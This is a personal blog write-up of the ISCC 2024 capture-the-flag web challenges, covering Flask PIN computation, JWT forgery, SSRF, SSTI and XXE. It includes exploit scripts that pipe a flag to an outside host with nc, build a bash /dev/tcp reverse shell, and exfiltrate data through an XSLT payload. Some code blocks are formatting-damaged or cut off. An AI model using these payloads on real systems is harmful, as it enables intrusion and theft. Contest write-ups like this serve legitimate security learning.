ISCC2024回顾

本文最后更新于 2024年9月21日 下午

前言:虽然是人脉顿悟赛,归根结底还是要总结一下,因为这个比赛好久没有认真学习了,先把这篇写完吧,只看web部分。

Web

week1

还没想好名字的塔防游戏

这题写的时候其实没有思路的,按照往常的web游戏思路都是改js就行或者玩到底,很多师傅玩的时候还是挺久的。

先按正常思路看源码搜alert

游戏1

看这个以为是什么小说要社工,其实完全想法反了,再上一个图片

游戏

还有题目的提示 Flag格式为ISCC{xxx},其中xxx共有18位,记得数清楚哦!

仔细研究一下并不是所有的单词首字母都是大写,最后的flag其实就是游戏加提示开头字母大写的拼接起来。应该是ISCC{MDWTSGTMMCCSITTDWS},也是记上一种新的游戏web了

Flask中的pin值计算

这题写的时候后来又刷到pin的时候,小记录了一点,这边也简要写一下吧,后面打算写个pin的总结。

先上个图片

游戏1

首先也是看源码吧,没有靶机了,可以看出来是base64,解一下密码是/getusername,来到下面的页面,看到海螺其实想到哪个比赛的那个神奇的海螺,考察的知识点是ssit模板注入,看一下这一个页面并不是flask,挨个尝试输入app.py可以得到下面这个图

pin1

告诉我username, 输入这个会有回显pincalculate,那就是典型的算pin值的了。

pinu

进入crawler这个页面,是一个动态实时的数学计算题目,可以写一个脚本爬一下及时的答题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
# 发送GET请求获取数学表达式
response = requests.get("http://101.200.138.180:10006/get_expression")
# 如果请求成功
if response.status_code == 200:
# 提取数学表达式
expression = response.json()['expression']
# 计算表达式的结果
result = eval(expression)
# 打印计算结果
print("计算结果:", result)
# 将结果发送到网站
response = requests.get("http://101.200.138.180:10006/crawler?answer={}".format(result))
# 打印网站返回的响应内容
print("网站返回的响应:", response.text)
else:
# 如果请求失败,打印错误信息
print("获取数学表达式失败,状态码:", response.status_code)

pin2

知道了flask使用的版本以及uuidnode位于的地方。

进到/woddenfish的界面,敲了一会我是没敲出个所以然,看看源码给了提示是ISCC_muyu_2024。

JSON Web Tokens - jwt.io这个网站改改吧,我好像是非预期,莫名其妙的bp点几下就进去了,应该是要根据这个改的进去之后

pin3

是这个样子,Unicode解密02:42:ac:18:00:02给了地址,接着去看machine_id

下面的一个界面我也没截图,大概就是一个俱乐部的界面吧也是需要用脚本跑的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
![pin4](../../images/iscc2024/pin4.png)from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = "vip"
fake_payload = base64url_encode(
(dumps(parsed_payload, separators=(',', ':'))))

return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
originaltoken = '''这里面是页面的'''
topic = topic(originaltoken)
print(topic)

要给jwt一个验证带入跑一下就行。

pin4

得到supervip的key用GitHub脚本可以直接出,自己clone就行

pin5

之后伪造一下就行了

pin6

这样所有的数据就得到了,这里注意版本啊,劳累我交wp还把版本的交错了高版本sha1,低版本md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import hashlib
from itertools import chain

probably_public_bits = [
''#/etc/passwd
'flask.app',#默认值
'Flask',#默认值
'/usr/local/lib/python3.11/site-packages/flask/app.py'#moddir,报错得到
]

private_bits = [
'',/sys/class/net/eth0/address 十进制
''
#看上面machine-id部分
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

最后再console里面交一下pin码就出答案了。

与时俱进

这题没写,最后的顿悟的太厉害了,我估摸着我跟着顿悟wp说不定还没交上,看起来也挺难的,如有有空再说吧,

week2

代码审计

这题是原题啊[De1CTF 2019]SSRF Me,跟着走一遍吧。下面是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=9999)

定位到关键代码

有三个路由

1
2
3
'/'
'/De1ta'
'/geneSign'

好懒累了,具体逻辑看原题吧我就说一下思路

使用if的判断

可以尝试用readscan绕过

param放要读的文件flag.txt

cookie里的action+GET里的param加密后要等于cookie里的sign

geneSign告诉我们param+关键字action的MD5加密是多少

那我们在/geneSign页面传param=flag.txtread就能算出来secret_key+flag.txt+readscan的值是多少,可以绕过弱比较

先获得sign的值

最终,回到/De1ta页面,GET传参param=flag.txtcookie传参

代码审计

原神启动

我们原神玩家也是出息了。

作为一个op能直接答题那还是看一下源码吧,与熊论禅

原神

就是简单的答题,输入正确答案可以问问题,尝试输入flag,告诉我们在flag.txt

原神1

以为直接是flag的,交完之后也不对啊。尝试扫了一下,并没有发现有什么异端,挨个进入,发现http://101.200.138.180:8080/index.jsp,里面可以显示是服务器的版本号,搜看看有没有cve

原神2

有漏洞可以利用,我们在虚拟机运行利用漏洞读取得到flag

原神3

掉进阿帕奇的工资

这题也难也是劳累

进入的页面是登陆界面,尝试用admin爆破密码进去的,爆破好久也是没进去,那就只能注册一个账号看看了。

阿帕奇

?看看源码。

阿帕奇1

还是学生就遭受了社会的毒打,要求是应该要是manager才能进入的啊

总结其实也不用改bp,就是页面注册的时候把信息都填好,验证问题选择第二个,然后修改密码选择回答问题,之后就可以登陆了

阿帕奇2

进去就是一个界面。

在工资界面上尝试一会好像是异或,输入ls和]B,可以爆出所有的内容

阿帕奇3

把所有的挨个试一下,结果应该是在Docfile

阿帕奇4

一开始非预期可以直接用异或出的,环境修复之后就不行了,这题也考察的cve漏洞

CVE-2021-40438,按照流程也是最后出flag的

构造transfer.php?dashachun=unix:A……A|http://secret.host/flag得到flag

阿帕奇5

week3

这种全考反弹shell我i也是无奈了,最后的服务器环境也一直在爆,哎。

这题我出不了了

这题我也真的出不了啊

原题,跟着过一遍吧,原理看文章就行

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from random import randint
import requests
# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/printFlag|nc 47.122.22.16 5566`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
'username': username+payload,
'password': 'AAAAAA'
}
print('ok')
r = requests.post('http://101.200.138.180:32031/register_7D85tmEhhAdgGu92', data=data)
print(r.content.decode('utf-8'))

在跑的时候要多连几下,可能连不起来,自己要买台云服务器方便一点,根据实际情况来

出不了

一道普通的XSS题目

显然这也并不简单,这是一道国际赛的原题,当时还是爆零了,我们也借鉴借鉴

文章,对比原文可以看出基本没有变化,也是跟着思路来一遍吧(这不就是炒冷饭,我太失败了)

改一下脚本,改个vps和端口,然后用node.js跑一下就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
xmls = `<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "http://101.200.138.180:30280/flag" >]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/asdf">
<HTML>
<HEAD>
<TITLE></TITLE>
</HEAD>
<BODY>
<img>
<xsl:attribute name="src">
http://这边填服务器和端口/?&xxe;
</xsl:attribute>
</img>
</BODY>
</HTML>
</xsl:template>
</xsl:stylesheet>`

xml = `<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${btoa(xmls)}"?>
<asdf></asdf>`
xss = encodeURIComponent(xml)
console.log(xss)

xss

然后拼接脚本就行

1
2
3
4
5
6
7
8
9
10
11
12
http://101.200.138.180:30280/adminbot?url=http://101.200.138.180:30280/?payload=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%3Fxml-stylesheet%20type%3D%22text%2F
xsl%22%20href%3D%22data%3Atext%2Fplain%3Bbase64%2CPD94bWwgdmVyc2lvbj0iMS4wIj8%2B
CjwhRE9DVFlQRSBhIFsKICAgPCFFTlRJVFkgeHhlIFNZU1RFTSAgImh0dHA6Ly8xMDEuMjAwLjEzOC4x
ODA6MzAyODAvZmxhZyIgPl0%2BCjx4c2w6c3R5bGVzaGVldCB4bWxuczp4c2w9Imh0dHA6Ly93d3cudz
Mub3JnLzE5OTkvWFNML1RyYW5zZm9ybSIgdmVyc2lvbj0iMS4wIj4KICA8eHNsOnRlbXBsYXRlIG1hdG
NoPSIvYXNkZiI%2BCiAgICA8SFRNTD4KICAgICAgPEhFQUQ%2BCiAgICAgICAgPFRJVExFPjwvVElUTE
U%2BCiAgICAgIDwvSEVBRD4KICAgICAgPEJPRFk%2BCiAgICAgICAgPGltZz4KICAgICAgICAgIDx4c2
w6YXR0cmlidXRlIG5hbWU9InNyYyI%2BCiAgICAgICAgICAgIGh0dHA6Ly80Ny4xMjIuMjIuMTY6ODA4
MC8%2FJnh4ZTsKICAgICAgICAgIDwveHNsOmF0dHJpYnV0ZT4KICAgICAgICA8L2ltZz4KICAgICAgPC
9CT0RZPgogICAgPC9IVE1MPgogIDwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg%3D%3D%2
2%3F%3E%0A%3Casdf%3E%3C%2Fasdf%3E

多尝试几次理论上火狐也是可以传的我试过了

xss1

回来吧永远滴神

呜呜呜,我再也不看英雄联盟了。

首先的界面是需要填空的,搜索一下

yyds

填空就行,然后进入一个页面

yyds1

好像是模板注入,看不了源码,view-source也看不了,用bp抓一下内容

yyds2

整数这块有点问题噢,后面还有等于,赛博厨子一把梭,先base64再转hex得到

yyds3

通过分析flag应该是拼接的内容,我们再看看原来的,尝试模板注入看看

yyds4

有内容的,那就尝试写个脚本看看吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import functools
import time
import requests
from fenjing import exec_cmd_payload

url = "http://101.200.138.180:16356/evlelLL/646979696775616e"
cookies = {
'session': 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.Zk7ADA.GKdiBAKEeHRKoMPRWoSoRkaaH2c'
}

@functools.lru_cache(maxsize=1000)
def waf(payload: str) -> bool:
"""检查字符串是否能通过WAF。如果能通过,返回True;否则返回False。"""
time.sleep(0.02) # 防止请求发送过多
try:
resp = requests.post(url, cookies=cookies, timeout=10, data={"iIsGod": payload})
return "大胆" not in resp.text
except requests.RequestException as e:
print(f"请求异常: {e}")
return False

if __name__ == "__main__":
shell_payload, will_print = exec_cmd_payload(
waf, 'bash -c "bash -i >& /dev/tcp/服务器/端口 0>&1"'
)
if not will_print:
print("这个payload不会产生回显!")
print(f"{shell_payload=}")

也是概率性的事情

yyds5

讲改内容输入到页面的内容,反弹shell

yyds6

还有一部分的内容估计就在app.py里面了,是个很长内容的代码

yyds7

具体定位到key和偏移值和密文,写个脚本得到答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
![yyds8](../../images/iscc2024/yyds8.png)from Crypto.Util.Padding import unpad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from enum import Enum

class Mode(Enum):
ECB = 0x01
CBC = 0x02
CFB = 0x03

class Cipher:
def __init__(self, key, iv=None):
self.BLOCK_SIZE = 64 # Block size in bits
self.KEY = [b2l(key[i:i + self.BLOCK_SIZE // 16]) for i in range(0, len(key), self.BLOCK_SIZE // 16)]
self.DELTA = 0x9e3779b9
self.IV = iv
self.ROUNDS = 64
self.mode = self._determine_mode(iv)

def _determine_mode(self, iv):
if iv is None:
return Mode.ECB
elif len(iv) * 8 == self.BLOCK_SIZE:
return Mode.CBC
else:
return Mode.CFB

def _xor(self, a, b):
return bytes(_a ^ _b for _a, _b in zip(a, b))

def _decrypt_block(self, block):
mask = (1 << (self.BLOCK_SIZE // 2)) - 1
c0 = b2l(block[:4])
c1 = b2l(block[4:])
sum = (self.DELTA * self.ROUNDS) & mask

for i in range(self.ROUNDS):
c1 -= ((c0 << 4) + self.KEY[(self.ROUNDS - i - 1 + 2) % len(self.KEY)]) ^ (c0 + sum) ^ (
(c0 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 3) % len(self.KEY)])
c1 &= mask
c0 -= ((c1 << 4) + self.KEY[(self.ROUNDS - i - 1) % len(self.KEY)]) ^ (c1 + sum) ^ (
(c1 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 1) % len(self.KEY)])
c0 &= mask
sum -= self.DELTA

return l2b((c0 << (self.BLOCK_SIZE // 2)) | c1)

def _encrypt_block(self, block):
m0 = b2l(block[:4])
m1 = b2l(block[4:])
mask = (1 << (self.BLOCK_SIZE // 2)) - 1
sum = 0

for i in range(self.ROUNDS):
sum += self.DELTA
m0 += ((m1 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + sum) ^ ((m1 >> 5) + self.KEY[(i + 1) % len(self.KEY)])
m0 &= mask
m1 += ((m0 << 4) + self.KEY[(i + 2) % len(self.KEY)]) ^ (m0 + sum) ^ (
(m0 >> 5) + self.KEY[(i + 3) % len(self.KEY)])
m1 &= mask

return l2b((m0 << (self.BLOCK_SIZE // 2)) | m1)

def _decrypt_ecb(self, blocks):
return b''.join(self._decrypt_block(block) for block in blocks)

def _decrypt_cbc(self, blocks):
plaintext = b''
prev_block = self.IV
for block in blocks:
decrypted_block = self._decrypt_block(block)
plaintext_block = self._xor(prev_block, decrypted_block)
plaintext += plaintext_block
prev_block = block
return plaintext

def _decrypt_cfb(self, blocks):
plaintext = b''
prev_block = self.IV
for block in blocks:
output = self._encrypt_block(prev_block)
plaintext_block = self._xor(output, block)
plaintext += plaintext_block
prev_block = block
return plaintext

def decrypt(self, ciphertext):
block_size_bytes = self.BLOCK_SIZE // 8
blocks = [ciphertext[i:i + block_size_bytes] for i in range(0, len(ciphertext), block_size_bytes)]

if self.mode == Mode.ECB:
plaintext = self._decrypt_ecb(blocks)
elif self.mode == Mode.CBC:
plaintext = self._decrypt_cbc(blocks)

yyds8

一共得到四个部分拼接起来看看可能是栅栏,我们用在线枚举得到答案

yyds9

实战阶段一

这个cve漏洞完全跟着网上一篇文章来就可以成功了,,也说一下

文章,跟着来就行了

实战

先尝试看看flag里面有没有内容,然后注意到了cve漏洞,去具体搜索一下看看

mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登
录,或者目标服务器没有修改默认的账号密码( admin:pass ),则可以执行任意node.js代码。

1
Authorization: Basic YWRtaW46cGFzcw==

改个success+账户名就行

实战1

总结:虽然是炒冷饭,还是记录一下吧,没什么好说的,人民的好比赛。(劳累.jpg


ISCC2024回顾
https://0ran9ewww.github.io/2024/05/26/iscc/iscc2024/
作者
orange
发布于
2024年5月26日
许可协议